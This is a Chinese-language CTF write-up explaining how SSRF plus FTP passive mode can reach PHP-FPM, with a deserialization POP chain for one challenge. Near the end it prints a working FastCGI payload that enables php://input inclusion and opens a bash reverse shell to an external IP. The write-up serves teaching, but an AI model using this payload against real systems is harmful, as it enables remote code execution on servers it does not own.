ssrf利用ftp被动模式打fpm
前言
听别的师傅说ssrf打ftp已经是常考点了,所以今天结合陇原战“疫“的一道赛题学习一下ssrf利用ftp的被动模式攻击fpm的技巧。
什么是php-fpm
fpm从字面意思理解就是php-fastcgi进程管理器,用于动态管理进程,也可以说是cgi程序。那么fastcgi又是什么?
什么是fastcgi
前身是cgi,一个通用网关接口,当客户端发出的请求到http服务器,例如nginx或者apache,会通过匹配后缀知道该请求是一个动态的php请求,那么web服务器就会直接交给php-fpm进行处理,通过php语法分析处理该请求后的结果返回给web服务器,再返回给我们客户端。
这么说可能比较抽象,举一个例子,比如我们发送一个index.php?file=/etc/passwd,web服务器接收到url请求后,它会匹配index.php中的php后缀,并判断它是动态的php请求,然后通过网关接口发送给fpm,而参数file=/etc/passwd内容是由php解释器来执行。而cgi就是一个能够解析php语法的程序,fastcgi是一个通讯协议,是cgi的改进版。更详细参考这篇文章:CGI与FastCGI详解与区别_CL82的博客-CSDN博客_cgi和fastcgi的区别
怎么打php-fpm?
这篇文章的主题就是打php-fpm,那么该怎么打?php-fpm默认监听的就是9000端口。我们知道fastcgi是一种通讯协议,web服务器与fpm是通过fastcgi协议来通讯的,在fpm数据包中有一个字段SCRIPT_FILENAME,它指向要执行的文件,就例如/etc/passwd,后来,fpm的默认配置中增加了一个选项 security.limit_extensions限定了某些后缀的文件被执行,所以就有些局限,当然,如果我们能够对fpm任意命令执行是最好的。这里就有auto_prepend_file和auto_append_file这两个配置项。
auto_append_file #在执行php文件后自动包含一个指定文件 |
我们主要就利用auto_prepend_file配置项,如果设置auto_prepend_file=php://input,那么再执行指定文件的时候,它就会先包含body中的内容,如果我们把恶意命令添加到body中,就可以执行任意命令。前提是能够远程文件包含。总体理一下思路,客户端控制web服务器访问本地的fpm的9000端口,伪造配置包含php://input的数据,执行恶意代码。主要利用gopherus工具来实现攻击。
ftp的被动模式
ftp是文件传输协议,用来传输协议。一般情况下默认为主动模式,通过20端口来传输数据,通过21端口来传输控制信息,主动模式的工作原理:
首先客户端连接ftp服务器的tcp21端口,向该端口发送控制信息(port命令)该port命令主要包含客户端用什么端口接收命令,接着ftp服务器接收命令,使用本机的20端口去连接客户端的指定端口,并发送数据。
如果客户端的主机是内网主机,就算开放了指定端口,ftp服务器也连接不上客户端,因此也没办法传输数据,所以在此缺陷下有了被动模式。
被动模式的工作原理:
同样是客户端连接ftp服务器的20端口建立连接,但并不是发送port命令,而是发送pasv命令。服务端收到pasv命令后,在自己本机上打开一个高端端口(>1024),并发送数据通知客户端向我的该高端端口发送数据,客户端收到后就与服务端该端口建立连接传输数据。
攻击思路
在ftp的被动模式下,服务端向客户端发送本机的公网ip与指定端口,让客户端去连接传输数据。那么如果我们去在自己的vps上构造一个恶意的ftp服务器,去修改ftp服务端向客户端发送的ip与端口为127.0.0.1的9000端口。让客户端去连接本机的9000端口传输数据,(此时的客户端是web服务器)如果在 9000端口上开启了fpm服务,我们上传伪造的fastcgi协议就会传输到web服务器的9000端口,与fpm进行交互,以此达到执行恶意命令的目的。
题目实战
陇原战”疫”eaaasyphp
打开题目是一段php代码,
|
一看就是反序列化的题,目标函数file_put_contents,可以写马进去。pop链也比较简单,链子为
Bypass::__destruct->Welcome::__invoke->Bunny::__tostring->file_put_contents |
尝试一番后发现文件没有被写入,可能是因为没有写入权限。我们构造序列化串查看一下php的版本信息,
O:4:%22Hint%22:-1:{} |
这里有个小点,我们需要绕过wakeup让hint为空。这里不能用属性值大于原有值来绕过了,因为这个php版本有点高,将属性值改为负数就可以绕过了。
在phpinfo里找到了fastcgi。那么这题就要打fpm了。
那么我们就要利用file_put_contents来上传攻击fastcgi的payload,然后再通过ftp的被动模式转发给fpm的9000端口达到攻击效果。首先我们使用Gopherus工具来生成伪造的fastcgi协议。
复制_后面的内容,
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/1.116.160.155/2334%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
接着在自己的vps上起一个恶意的ftp服务器。py代码如下:
import socket |
贴上ftp状态码:FTP状态码 - 冻冻儿 - 博客园
使用命令python3 ftp.py启动ftp服务器,另外开启一个vps监听2334端口。
让data赋值恶意payload,username=ftp://aaa@vps:2337/123。最终pop链为:
|
打入payload成功反弹shell。后面就查询到flag了。
结语
这种技巧的前提是要有文件上传点,就例如本题中的file_put_contents函数,还有打fpm需要考虑靶机是否监听了9000端口,或者说9000上是否启动了fpm服务。考虑这些前提之后结合ssrf漏洞就能达到远程rce的效果了。
参考链接:
陇原战“疫“2021网络安全大赛的一道web_errorr0的博客-CSDN博客
SSRF 攻击PHP-FPM(FastCGI 攻击):学习总结仅供参考_头秃的bug的博客-CSDN博客_fastcgi ssrf